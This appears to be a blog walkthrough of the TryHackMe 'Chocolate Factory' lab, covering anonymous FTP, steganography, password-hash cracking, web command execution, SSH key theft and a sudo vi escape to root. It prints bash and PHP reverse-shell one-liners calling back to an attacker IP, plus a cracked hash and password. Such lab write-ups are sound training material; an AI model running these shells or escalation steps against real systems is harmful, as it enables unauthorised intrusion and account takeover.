Chocolate Factory TryHackMe Writeup

1356 words

7 minutes

Chocolate Factory TryHackMe Writeup

2026-02-25

TryHackMe

CyberSecurity

/

CTF

/

TryHackMe

/

Writeup

Hi all, we’re back with a new challenge called Chocolate Factory. This writeup is short-to-medium: we enumerate services, find anonymous FTP with an image, extract Base64 data, then pivot to the web app to get credentials and command execution. From www-data, we grab Charlie’s SSH key and become the user. Finally, we abuse sudo vi to get root and use the key in root.py for the last flag.

Let’s start by deploying the machine and noting the target IP.

I start with an Nmap scan to find open ports and services. This tells us where to focus.

Nmap results:#

1
╭─cat0x01 at cat0x01 in ~
2
╰─○ nmap -sV -sC 10.113.186.130 -T5
3
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 02:41 +00
4
Stats: 0:05:37 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
5
NSE Timing: About 98.91% done; ETC: 02:46 (0:00:01 remaining)
6
Nmap scan report for 10.113.186.130
7
Host is up (0.11s latency).
8
Not shown: 989 closed tcp ports (reset)
9
PORT    STATE SERVICE    VERSION
10
21/tcp  open  ftp        vsftpd 3.0.5
11
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
12
|_-rw-rw-r--    1 1000     1000       208838 Sep 30  2020 gum_room.jpg
13
| ftp-syst:
14
|   STAT:
15
| FTP server status:
16
|      Connected to ::ffff:192.168.140.227
17
|      Logged in as ftp
18
|      TYPE: ASCII
19
|      No session bandwidth limit
20
|      Session timeout in seconds is 300
21
|      Control connection is plain text
22
|      Data connections will be plain text
23
|      At session startup, client count was 2
24
|      vsFTPd 3.0.5 - secure, fast, stable
25
|_End of status
26
22/tcp  open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
27
| ssh-hostkey:
28
|   3072 ac:66:9d:61:84:3e:91:42:a7:62:f7:8c:9f:8a:a7:37 (RSA)
29
|   256 12:e1:10:7f:4d:75:46:37:f5:a8:31:dd:33:55:d7:c4 (ECDSA)
30
|_  256 b8:46:86:75:b7:cc:92:59:1b:78:88:e3:b1:49:89:67 (ED25519)
31
80/tcp  open  http       Apache httpd 2.4.41 ((Ubuntu))
32
|_http-server-header: Apache/2.4.41 (Ubuntu)
33
|_http-title: Site doesn't have a title (text/html).
34
100/tcp open  newacct?
35
| fingerprint-strings:
36
|   GenericLines, NULL:
37
|     "Welcome to chocolate room!!
38
|     ___.---------------.
39
|     .'__'__'__'__'__,` . ____ ___ \r
40
|     _:\x20 |:. \x20 ___ \r
41
|     \'__'__'__'__'_`.__| `. \x20 ___ \r
42
|     \'__'__'__\x20__'_;-----------------`
43
|     \|______________________;________________|
44
|     small hint from Mr.Wonka : Look somewhere else, its not here! ;)
45
|_    hope you wont drown Augustus"
46
106/tcp open  pop3pw?
47
| fingerprint-strings:
48
|   GenericLines, NULL:
49
|     "Welcome to chocolate room!!
50
|     ___.---------------.
51
|     .'__'__'__'__'__,` . ____ ___ \r
52
|     _:\x20 |:. \x20 ___ \r
53
|     \'__'__'__'__'_`.__| `. \x20 ___ \r
54
|     \'__'__'__\x20__'_;-----------------`
55
|     \|______________________;________________|
56
|     small hint from Mr.Wonka : Look somewhere else, its not here! ;)
57
|_    hope you wont drown Augustus"
58
109/tcp open  pop2?
59
| fingerprint-strings:
60
|   GenericLines, NULL:
61
|     "Welcome to chocolate room!!
62
|     ___.---------------.
63
|     .'__'__'__'__'__,` . ____ ___ \r
64
|     _:\x20 |:. \x20 ___ \r
65
|     \'__'__'__'__'_`.__| `. \x20 ___ \r
66
|     \'__'__'__\x20__'_;-----------------`
67
|     \|______________________;________________|
68
|     small hint from Mr.Wonka : Look somewhere else, its not here! ;)
69
|_    hope you wont drown Augustus"
70
110/tcp open  pop3?
71
| fingerprint-strings:
72
|   GenericLines, NULL:
73
|     "Welcome to chocolate room!!
74
|     ___.---------------.
75
|     .'__'__'__'__'__,` . ____ ___ \r
76
|     _:\x20 |:. \x20 ___ \r
77
|     \'__'__'__'__'_`.__| `. \x20 ___ \r
78
|     \'__'__'__\x20__'_;-----------------`
79
|     \|______________________;________________|
80
|     small hint from Mr.Wonka : Look somewhere else, its not here! ;)
81
|_    hope you wont drown Augustus"
82
111/tcp open  rpcbind?
83
| fingerprint-strings:
84
|   NULL, RPCCheck:
85
|     "Welcome to chocolate room!!
86
|     ___.---------------.
87
|     .'__'__'__'__'__,` . ____ ___ \r
88
|     _:\x20 |:. \x20 ___ \r
89
|     \'__'__'__'__'_`.__| `. \x20 ___ \r
90
|     \'__'__'__\x20__'_;-----------------`
91
|     \|______________________;________________|
92
|     small hint from Mr.Wonka : Look somewhere else, its not here! ;)
93
|_    hope you wont drown Augustus"
94
113/tcp open  ident?
95
| fingerprint-strings:
96
|   GenericLines, GetRequest, Kerberos, LDAPSearchReq, NULL, RPCCheck, SSLSessionReq:
97
|_    http://localhost/key_rev_key <- You will find the key here!!!
98
119/tcp open  nntp?
99
| fingerprint-strings:
100
|   GenericLines, NULL:
101
|     "Welcome to chocolate room!!
102
|     ___.---------------.
103
|     .'__'__'__'__'__,` . ____ ___ \r
104
|     _:\x20 |:. \x20 ___ \r
105
|     \'__'__'__'__'_`.__| `. \x20 ___ \r
106
|     \'__'__'__\x20__'_;-----------------`
107
|     \|______________________;________________|
108
|     small hint from Mr.Wonka : Look somewhere else, its not here! ;)
109
|_    hope you wont drown Augustus"
110
125/tcp open  locus-map?
111
| fingerprint-strings:
112
|   GenericLines, NULL:
113
|     "Welcome to chocolate room!!
114
|     ___.---------------.
115
|     .'__'__'__'__'__,` . ____ ___ \r
116
|     _:\x20 |:. \x20 ___ \r
117
|     \'__'__'__'__'_`.__| `. \x20 ___ \r
118
|     \'__'__'__\x20__'_;-----------------`
119
|     \|______________________;________________|
120
|     small hint from Mr.Wonka : Look somewhere else, its not here! ;)
121
|_    hope you wont drown Augustus"

The useful open ports are the common ones for FTP, HTTP, and SSH:

1
21 / ftp
2
80 / http
3
22 / ssh

I will start with FTP because anonymous login is allowed and there is a file listed.

FTP#

1
ftp 10.113.186.130
2
Connected to 10.113.186.130.
3
220 (vsFTPd 3.0.5)
4
Name (10.113.186.130:cat0x01): anonymous
5
331 Please specify the password.
6
Password:
7
230 Login successful.
8
Remote system type is UNIX.
9
Using binary mode to transfer files.
10
ftp> ls
11
229 Entering Extended Passive Mode (|||19485|)
12
150 Here comes the directory listing.
13
-rw-rw-r--    1 1000     1000       208838 Sep 30  2020 gum_room.jpg
14
226 Directory send OK.
15

16

17
//// Download gum_room.jpg
18

19
ftp> get gum_room.jpg
20
local: gum_room.jpg remote: gum_room.jpg
21
229 Entering Extended Passive Mode (|||57979|)
22
150 Opening BINARY mode data connection for gum_room.jpg (208838 bytes).
23
100% |*********************************************************************************************************************************************|   203 KiB  361.21 KiB/s    00:00 ETA
24
226 Transfer complete.
25
208838 bytes received in 00:00 (314.36 KiB/s)
26
ftp> exit
27
221 Goodbye.

We download gum_room.jpg. In CTFs, an image often hides data, so steganography is a good next step.

Steganography#

Use steghide:

1
$ steghide extract -sf gum_room.jpg
2
Enter passphrase:
3
wrote extracted data to "b64.txt".

No password was needed (just press Enter). The output file b64.txt is Base64, so decode it to read the hidden content.

1
cat b64.txt | base64 -d

This gives part of /etc/passwd, and the interesting entry is the charlie hash:

1
charlie:$6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/:18535:0:99999:7:::

This is a SHA512 hash, so we can try to crack it with a wordlist.

Hash cracking#

1
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt

Password is: cn7824

Web enum#

At the same time, I checked the website and ran gobuster to find hidden paths:

1
╭─cat0x01 at cat0x01 in ~
2
╰─○ gobuster dir -u http://10.113.186.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php
3
===============================================================
4
Gobuster v3.8
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://10.113.186.130
8
[+] Method:                  GET
9
[+] Threads:                 20
10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.8
13
[+] Extensions:              php
14
[+] Timeout:                 10s
15
===============================================================
16
Starting gobuster in directory enumeration mode
17
===============================================================
18
/home.php             (Status: 200) [Size: 569]

When you log in using the username charlie and the password cn7824, you are redirected to home.php.

The page has an online command line. Try simple commands first like ls to see available files.

I prefer to see the results in the page source because it is cleaner and avoids formatting issues.

We found a key_rev_key. Let’s inspect it because the port hint mentioned a key.

1
cat key_rev_key

You will find Charlie’s key in the HTML source as well.

Since we can run commands, the next step is to get a reverse shell for a stable session.

Reverse shell#

Since we have command execution, we can get a shell:

1
bash -i >& /dev/tcp/192.168.140.227/4444 0>&1

If that doesn’t work:

1
php -r '$sock=fsockopen("192.168.140.227",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Start a listener:

1
nc -lvnp 4444

Now we are www-data, which is the web server user.

Let’s check users under /home/ to see available accounts and files.

In the charlie folder we found user.txt, but we can’t read it yet. There is also a file teleport that contains an SSH private key. We can use it to log in as the charlie user.

Copy the key, save it to a file, and change the file permission to 600 (SSH requires strict permissions).

1
$ chmod 600 idrsa
2
$ ssh -i idrsa charlie@10.113.186.130

Now we are the charlie user. Grab the user flag and continue to privilege escalation.

We got the user.txt flag.

Let’s do privilege escalation to get root access.

Privesc#

Let’s check the id command to see group memberships.

1
uid=1000(charlie) gid=1000(charley) groups=1000(charley),0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

We are in the sudo group. Check allowed commands with sudo -l:

1
charlie@ip-10-113-186-130:/home/charlie$ sudo -l
2
Matching Defaults entries for charlie on ip-10-113-186-130:
3
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
4

5
User charlie may run the following commands on ip-10-113-186-130:
6
    (ALL : !root) NOPASSWD: /usr/bin/vi

We can run vi with sudo (but not as root directly). vi can execute shell commands, so we can escalate from inside the editor.

Do this:

1
$ sudo vi
2

3
// press ESC and then type ':!/bin/bash -p'

Now we are root.

Let’s go to /root.

We find root.py, so let’s run it with python3 root.py and enter the key.

1
Enter the key: -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=

And we got the root flag.

I hope you enjoyed this room. See you in another one.

Web Intro - CTF-EDU